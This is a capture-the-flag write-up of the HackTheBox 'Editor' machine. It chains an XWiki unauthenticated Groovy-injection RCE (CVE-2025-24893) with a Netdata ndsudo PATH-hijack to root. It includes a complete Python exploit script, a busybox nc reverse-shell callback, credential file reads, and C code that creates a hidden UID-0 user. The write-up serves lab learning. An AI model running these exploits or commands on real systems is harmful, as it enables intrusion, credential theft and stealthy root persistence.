RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: Editor - SimplistCode Pro
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http    syn-ack Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|   Supported Methods: OPTIONS GET HEAD PROPFIND LOCK UNLOCK
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
| http-webdav-scan:
|   Server Type: Jetty(10.0.20)
|   WebDAV type: Unknown
|_  Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| http-robots.txt: 50 disallowed entries (40 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
| /xwiki/bin/undelete/ /xwiki/bin/reset/ /xwiki/bin/register/
| /xwiki/bin/propupdate/ /xwiki/bin/propadd/ /xwiki/bin/propdisable/
| /xwiki/bin/propenable/ /xwiki/bin/propdelete/ /xwiki/bin/objectadd/
| /xwiki/bin/commentadd/ /xwiki/bin/commentsave/ /xwiki/bin/objectsync/
| /xwiki/bin/objectremove/ /xwiki/bin/attach/ /xwiki/bin/upload/
| /xwiki/bin/temp/ /xwiki/bin/downloadrev/ /xwiki/bin/dot/
| /xwiki/bin/delattachment/ /xwiki/bin/skin/ /xwiki/bin/jsx/ /xwiki/bin/ssx/
| /xwiki/bin/login/ /xwiki/bin/loginsubmit/ /xwiki/bin/loginerror/
|_/xwiki/bin/logout/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 8080 emerges exposed—XWiki (Jetty/10.0.20) lurking on the surface. XWiki carries a notorious lineage of authenticated RCEs through Velocity templates and Groovy scripts. The /xwiki/bin/* endpoints, exhumed from robots.txt, hint at unrestricted access to the platform's full attack surface.

Website

A code editor greets us on port 80:

htb_editor_1

Clicking through the interface reveals a subdomain: wiki.editor.htb. Following the trail, we're seamlessly rerouted to port 8080, landing on an XWiki instance:

htb_editor_2

Same backend, different façade:

$ whatweb http://$target_ip:8080
http://10.129.12.71:8080 [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.129.12.71], Jetty[10.0.20], RedirectLocation[http://10.129.142.71:8080/xwiki]
http://10.129.12.71:8080/xwiki [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.129.12.71], Jetty[10.0.20], RedirectLocation[http://10.129.142.71:8080/xwiki/]
http://10.129.12.71:8080/xwiki/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Jetty(10.0.20)], IP[10.129.12.71], Jetty[10.0.20], RedirectLocation[http://10.129.12.71:8080/xwiki/bin/view/Main/], UncommonHeaders[content-script-type]
http://10.129.12.71:8080/xwiki/bin/view/Main/ [200 OK] Content-Language[en], Cookies[JSESSIONID], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(10.0.20)], IP[10.129.12.71], probably Index-Of, Jetty[10.0.20], Prototype, Script[application/json,en], Title[XWiki - Main - Intro], UncommonHeaders[content-script-type], XWiki

$ whatweb http://wiki.editor.htb
http://wiki.editor.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.12.71], RedirectLocation[http://wiki.editor.htb/xwiki], nginx[1.18.0]
http://wiki.editor.htb/xwiki [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.12.71], RedirectLocation[http://wiki.editor.htb/xwiki/], nginx[1.18.0]
http://wiki.editor.htb/xwiki/ [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.12.71], RedirectLocation[http://wiki.editor.htb/xwiki/bin/view/Main/], UncommonHeaders[content-script-type], nginx[1.18.0]
http://wiki.editor.htb/xwiki/bin/view/Main/ [200 OK] Content-Language[en], Cookies[JSESSIONID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.12.71], probably Index-Of, Prototype, Script[application/json,en], Title[XWiki - Main - Intro], UncommonHeaders[content-script-type], XWiki, nginx[1.18.0]

Two entry points, one target: XWiki, deployed behind Jetty 10.0.20, fronted by nginx. The system gives up its versioning breadcrumbs in the footer:

htb_editor_2_1

Additionally we see something interesting from the crawler:

WEB

XWiki

XWiki stands as a seasoned, Java-based open-source enterprise wiki engine, typically deployed atop Jetty or Tomcat, coupled with a relational backend via Hibernate, and exposing a variety of programmable interfaces—WebDAV, REST, and XML-RPC among them.

Its URL design adheres to a well-defined pattern:

<host>/<context>/<type>/<action>/<entity‑path>?<query‑params>

Example in our case:

HTTP
GET wiki.editor.htb/xwiki/bin/view/Main/Installation/

URL anatomy:

  • xwiki: the context path
  • /bin: routes to XWiki's dynamic resource layer (e.g. view, get, download)
  • view: the action to render pages with full wiki syntax, macros, and the UI skin
  • Main/Installation: the path composed of the space (Main) and the document (Installation)

CVE 2025‑24893

Where

The system serves XWiki version 15.10.8 on Jetty. Only the wiki frontend is exposed to us, which is referred to the xwiki-platform repository—current release stands at 17.6.0.

Under their Security section, a wave of disclosures catches the eye. Among them, one stands out: a critical unauthenticated RCEno login required:

htb_editor_4

The CVE is hot off the press, affecting versions prior to 15.10.11:

htb_editor_5

An N-day game.

What

CVE‑2025‑24893 is a zero-auth Remote Code Execution bug in the SolrSearch macro, first revealed by IONIX and later weaponized in a public PoC.

The vulnerability lies in the SolrSearch macro (RSS output mode) ,which provides search indexing via Solr, returning responses in various formats — from macro logic to unauthenticated Groovy code execution.

The entry point is the handleSolrSearchRequest macro defined at line 958 of Main.SolrSearchMacros.xml:

#macro(handleSolrSearchRequest)
  ## Narrow facet map to enabled facets only.
  #set($discard = $solrConfig.facetQuery.keySet().retainAll($solrConfig.facetFields))

  #if ($request.media == 'rss')                  ## ← attacker sets media=rss
    #outputRSSFeed()                             ## ← vulnerable branch
  #elseif ("$!request.r" == '1' || $solrConfig.facetQuery.isEmpty())
    #displaySearchUI()                           
  #else
    ## Build redirect with facet pre-selection.
    ...
    $response.sendRedirect($url)
  #end
#end

We can pass ?media=rss as request parameter to trigger the RSS rendering branch. The vulnerable injection point sits in outputRSSFeed macro at line 946:

#set($title = $services.localization.render('search.rss', ["[$text]"]))
#set ($discard = $feed.setTitle($title))
#set ($discard = $feed.setDescription($title))

$text comes straight from the user-input query-string retrieved from the processRequestParameters macro, initialized from the very starting of the outputRSSFeed macro worflow:

#set ($text = "$!request.text")

So $feed will be set with the injected content from $title, as the title name and description in the RSS:

#set ($discard = $feed.setTitle($title))
#set ($discard = $feed.setDescription($title))

Then processed by the Xwiki application at line 955:

#set ($discard = $response.setContentType('application/rss+xml'))
$xwiki.feed.getFeedOutput($feed, 'rss_2.0')

At this point $xwiki.feed.getFeedOutput() returns an RSS string whose <title> and <description> elements contain the attacker–controlled $text.

That RSS string—now packed with unescaped macro syntax—is sent through XWiki's rendering engine. This engine re-parses the content, evaluating any macro constructs such as:

}}}{{async async=false}}{{groovy}}println("PWN:"+(23+19)){{/groovy}}{{/async}}

XWiki treats this like any other wiki page and runs the groovy macro—which, by default, compiles and executes inline Groovy code.

XWiki renders it internally like:

  1. The engine now executes the Rendering Transformations chain (Macros, Syntax, HTML clean-ups, etc.).
  2. During that pass every wiki macro delimiter ({{…}}) is detected:
    • {{async}} → executed
    • {{groovy}} → Groovy script is compiled & run (because the default Groovy-Script macro is enabled for any snippet found at this stage).

What looks like a feed becomes a code execution vector. A classic second-order SSTI, triggered via an unexpected rendering path.

How

1. PoC Script

Therefore, the entire exploit hinges on this dispatcher:

  1. Send GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=PAYLOAD
  2. Dispatcher (handleSolrSearchRequest) routes the request via bin/get/Main/SolrSearch path.
  3. Dispatcher detects media=rss
  4. Calls #outputRSSFeed, starting the vulnerable workflow processing PAYLOAD passed via text parameter.

Without this parameter the call never reaches outputRSSFeed, so no Groovy injection will be possible.

A PoC is provided in ExploitDB.

2. Manual

We can visit the vulnerable endpoint directly: http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch.

Then inject the SSTI payload, provided by Ionix, into the search field:

htb_editor_6

This generates an RSS feed link:

http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?highlight=true&r=1&sortOrder=desc&sort=date&text=PAYLOAD

When the platform renders the RSS output, the malicious Groovy script executes. Trigger it by simply clicking on it:

htb_editor_7

The feed is generated—XWiki renders—Groovy fires—and we get code execution.

Exploit

An modified version of PoC:

Python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title		: CVE-2025-24893 — XWiki unauthenticated RCE via SolrSearch
# Date		: 2025-08-03
# Author	: Axura (@4xura) - https://4xura.com
# Version	: XWiki <= 15.10.10 
#
# Usage:
# ------
# ./CVE-2025-24893.py example.com  
# ./CVE-2025-24893.py https:/example.com -c 'cat /etc/passwd'
# ./CVE-2025-24893.py https:/example.com --proxy http://127.0.0.1:8080 -c 'id' 
# 
# Notes:
# ------
# Provided for educational purposes only. Use responsibly.
#

import argparse
import sys
import requests
import html
import urllib.parse as up
from typing import Optional

def choose_base(url: str, timeout: int, verify: bool) -> Optional[str]:
    """Return working base URL with schema if reachable, else None."""
    if url.startswith("http"):
        try:
            r = requests.get(url, timeout=timeout, allow_redirects=True, verify=verify)
            return url if r.status_code < 400 else None
        except requests.RequestException:
            return None
    for scheme in ("https://", "http://"):
        try:
            r = requests.get(f"{scheme}{url}", timeout=timeout, allow_redirects=True, verify=verify)
            if r.status_code < 400:
                return f"{scheme}{url}"
        except requests.RequestException:
            pass
    return None

def build_payload(cmd: str) -> str:
    """Return URL-encoded Groovy snippet wrapped for the vuln."""
    groovy = f'println("{cmd}".execute().text)'
    wrapped = '}}}{{async async=false}}{{groovy}}' + groovy + '{{/groovy}}{{/async}}'
    return up.quote(wrapped, safe="")

def exploit(base: str, cmd: str, timeout: int, session: requests.Session) -> requests.Response:
    payload = build_payload(cmd)
    url = f"{base}/bin/get/Main/SolrSearch?media=rss&text={payload}"
    print(f"[+] Request → {url}")
    return session.get(url, timeout=timeout)

def detect_vuln(base: str, timeout: int, session: requests.Session) -> bool:
    test_groovy = 'println("Exploit Successful! Result: " + (13 + 37))'
    test_marker = "Exploit Successful! Result: 50"
    payload = '}}}{{async async=false}}{{groovy}}' + test_groovy + '{{/groovy}}{{/async}}'
    test_url = f"{base}/bin/get/Main/SolrSearch?media=rss&text={up.quote(payload, safe='')}"
    print(f"[*] Testing → {test_url}")
    r = session.get(test_url, timeout=timeout)
    return test_marker in html.unescape(r.text)

def main():
    ap = argparse.ArgumentParser(
        description="CVE-2025-24893 exploit (XWiki SolrSearch unauth RCE)"
    )
    ap.add_argument("target", help="Hostname or URL (e.g. example.com or https://example.com)")
    ap.add_argument("-c", "--cmd", default="id", help="Command to run (default: id)")
    ap.add_argument("--timeout", type=int, default=10, help="Request timeout (s)")
    ap.add_argument("--proxy", help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    ap.add_argument("--insecure", action="store_true", help="Ignore TLS verification")
    args = ap.parse_args()

    BANNER = "=" * 78
    print(BANNER)
    print("          XWiki CVE-2025-24893  •  unauthenticated RCE exploit")
    print(BANNER)

    sess = requests.Session()
    if args.proxy:
        sess.proxies.update({"http": args.proxy, "https": args.proxy})

    base = choose_base(args.target, args.timeout, verify=not args.insecure)
    if not base:
        print("[!] Target unreachable on HTTP/HTTPS")
        sys.exit(1)

    print(f"[✓] Using base URL: {base}")

    print("[*] Verifying vulnerability…")
    if not detect_vuln(base, args.timeout, sess):
        print("[✗] Not vulnerable or already patched")
        sys.exit(2)
    print("[✓] Vulnerable! executing payload…")

    try:
        r = exploit(base, args.cmd, args.timeout, sess)
        if r.status_code == 200:
            print("[✓] Exploit success — response follows:\n")
            print(r.text)
            sys.exit(0)
        else:
            print(f"[✗] Unexpected HTTP status: {r.status_code}")
            sys.exit(3)
    except requests.RequestException as e:
        print(f"[✗] Exploit error: {e}")
        sys.exit(3)

if __name__ == "__main__":
    main()

Test run:

Bash
python CVE-2025-24893.py http://wiki.editor.htb/xwiki -c 'cat /etc/passwd'
htb_editor_8

Jackpot.

With RCE in the bag, it's time to pivot—aiming for shell access. Standard reverse shell payloads fall flat—likely due to limited shell environment or missing interpreters.

So, we probe the box:

Bash
python CVE-2025-24893.py http://wiki.editor.htb/xwiki \
	  -c 'ls -1 /bin'

We see other binaries like nc, busybox are available under /bin:

htb_editor_9

Therefore, we chain them for a clean reverse shell::

Bash
python CVE-2025-24893.py http://wiki.editor.htb/xwiki \
	  -c '/bin/busybox nc 10.10.12.11 4444 -e sh'

Listener catches. Session drops:

htb_editor_10

We land as user: xwiki.

USER

Our next target is user oliver.

The hostnames give it away:

xwiki@editor:~i$ getent hosts
127.0.0.1       localhost
127.0.1.1       editor editor.htb wiki.editor.htb
127.0.0.1       ip6-localhost ip6-loopback

xwiki@editor:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:b0:b8:96 brd ff:ff:ff:ff:ff:ff
    altname enp2s0
    altname ens32
    inet 10.129.183.16/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3417sec preferred_lft 3417sec
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:06:b8:02:75 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever

We're in a Dockerized XWiki instance, and we need out. As the first step—loot the usual suspects—config files.

Hibernate

By default, XWiki stores its secrets & runtime settings in:

PathWhy it matters
/etc/xwiki/hibernate.cfg.xmlDirect DB access → dump credentials, manipulate user table, get hashes.
/etc/xwiki/xwiki.cfgCan show if LDAP/OAuth is enabled and where those creds live.
/etc/xwiki/xwiki.propertiesSMTP creds often re-used elsewhere. permanentDir tells us where files land.
/etc/xwiki/xwiki.authentication.propertiesRe-use against AD / jump.
/var/lib/xwiki/dataSearch for *.xml, *.bak, .zip; attachments
/var/lib/xwikiContains web.xml, jars (custom plugins with hard-coded secrets).
/etc/default/xwiki (/etc/default/jetty9, /etc/default/tomcat9)Sometimes embeds db creds.
/etc/tomcat9/tomcat-users.xmlGives direct WAR-upload privilege.
xwiki.serviceIf writable, path-hijack privesc.

Hibernate—XWiki's ORM backbone—is a goldmine. It bridges Java and SQL, and its config often harbors plaintext DB credentials.

And the LinePEAS output also tells a lot:

╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users
xwiki       1135  1.2 22.5 3950068 903168 ?      Ssl  00:18   6:58 java --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED -Xmx1024m -Dxwiki.data.dir=/var/lib/xwiki/data -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/xwiki/data -Djetty.home=jetty -Djetty.base=. -Dfile.encoding=UTF8 -Djetty.http.port=8080 -jar jetty/start.jar jetty.http.port=8080 STOP.KEY=xwiki STOP.PORT=8079
...

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:46405         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8125          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::8080                 :::*                    LISTEN      1135/java
tcp6       0      0 127.0.0.1:8079          :::*                    LISTEN      1135/java

We see Netdata (port 19999) running. Will be exploited later.

MySQL on 3306 and xwiki JVM points to /var/lib/xwiki/data, this means we can dump DB credentials stored in /etc/xwiki/hibernate.cfg.xml:

xwiki@editor:/tmp$ cat /etc/xwiki/hibernate.cfg.xml | grep pass

    <property name="hibernate.connection.password">theEd1t0rTeam99</property>
    <property name="hibernate.connection.password">xwiki</property>
    <property name="hibernate.connection.password">xwiki</property>
    <property name="hibernate.connection.password"></property>
    <property name="hibernate.connection.password">xwiki</property>
    <property name="hibernate.connection.password">xwiki</property>
    <property name="hibernate.connection.password"></property>

It turns out theEd1t0rTeam99 is the password of user oliver over SSH:

htb_editor_11

User oliver: Compromised.

ROOT

NetDATA

From previous LinPEAS enumeration, we already knew Netdata is humming on port 19999:

oliver@editor:~$ netstat -lantp

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:46405         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8125          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN      -
...

Netdata is an open-source, real-time monitoring platform designed to give us instant insight into everything that's happening on a system. It serves its own interactive dashboard through an embedded web server (default port 19999).

Tunnel it out:

Bash
ssh -L 19999:127.0.0.1:19999 [email protected]
htb_editor_12

This kind of service on Linux is always a huge attack vector. And the main page also urges for a version update:

htb_editor_13

NetDATA 1.45.2 is vulnerable to CVE-2024-32019, which wasn't patched until 1.45.3.

CVE-2024-32019

In vulnerable builds, ndsudo, being part of the NetDATA tookit package, is installed with the SUID bit and grants elevated privileges to a limited set of whitelisted commands. But here's the kicker—it honors the caller's PATH.

First we can verify if the target is vulnerable. The Netdata programs live in /opt/netdata/bin, so we have to call them with the full path:

oliver@editor:~$ /opt/netdata/bin/netdata -W buildinfo

Packaging:
    Netdata Version ____________________________________________ : v1.45.2
    Installation Type __________________________________________ : manual-static
    Package Architecture _______________________________________ : x86_64
    Package Distro _____________________________________________ : unknown
    Configure Options __________________________________________ : dummy-configure-command
Default Directories:
    User Configurations ________________________________________ : /opt/netdata/etc/netdata
    Stock Configurations _______________________________________ : /opt/netdata/usr/lib/netdata/conf.d
    Ephemeral Databases (metrics data, metadata) _______________ : /opt/netdata/var/cache/netdata
    Permanent Databases ________________________________________ : /opt/netdata/var/lib/netdata
    Plugins ____________________________________________________ : /opt/netdata/usr/libexec/netdata/plugins.d
    Static Web Files ___________________________________________ : /opt/netdata/usr/share/netdata/web
    Log Files __________________________________________________ : /opt/netdata/var/log/netdata
    Lock Files _________________________________________________ : /opt/netdata/var/lib/netdata/lock
    Home _______________________________________________________ : /opt/netdata/var/lib/netdata
...

Confirming its plugins path, ndsudo (or ndsudo-helper) would live there if this package included it. So let's look:

oliver@editor:~$ ls -l /opt/netdata/usr/libexec/netdata/plugins.d | grep -E 'ndsudo|sudo'
ndsudo

oliver@editor:~$ stat -c '%A %n' /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo 
-rwsr-x--- /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

The helper presents with SUID set.

Check the commit for this patch on Github:

image-20250803182308801

This explains everything. All we need to do is just PATH hijack to complete the privesc.

Exploit

Check ndsudo usage:

oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {{variable}} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .

This means the command names are restricted to nvme-list, nvme-smart-log, … And the called executables are also required to be the matching nvme, …

Goal: Create a stealth root-level user (axura) with a preset hash:

$ openssl passwd -6 'Axura4sure~'

$6$E/1Vun2xYDe7gV8P$2.XSFy9oBNQG9Y5JQQ.tfzCdbO9ZYWkXX9OPbrp872RkW7slq.Al.S9QhBHlsQuJqZ766hBUvTfMA11oMfh0J.

Then write a simple C script to ask the root user to add us as root:

C
// pwn.c
#include <stdio.h>      
#include <stdlib.h>     
#include <unistd.h>     
#include <sys/types.h>  

int main(void) {
    if (setgid(0) != 0 || setuid(0) != 0) {
        perror("setuid / setgid");
        exit(EXIT_FAILURE);
    }

    execl("/usr/sbin/useradd",
          "useradd",
          "-u", "0", "-o",          
          "-g", "0",                
          "-M",                     
          "-s", "/bin/bash",      
          "-p","$6$E/1Vun2xYDe7gV8P$2.XSFy9oBNQG9Y5JQQ.tfzCdbO9ZYWkXX9OPbrp872RkW7slq.Al.S9QhBHlsQuJqZ766hBUvTfMA11oMfh0J.",
          "axura",
          (char *)NULL);

    perror("execl");
    return EXIT_FAILURE;
}

Compile statically on our local machine:

Bash
gcc -o nvme -g -O0 -static pwn.c

Upload the binary to the target machine, and grant it execute permission:

Bash
chmod +x nvme

Then simply run ndsudo + <hijacked bianry>, corresponding to the malicious executable name, under the current attack PATH:

Bash
PATH=/home/oliver \
	  /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

Rooted:

htb_editor_15

And stealthy.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)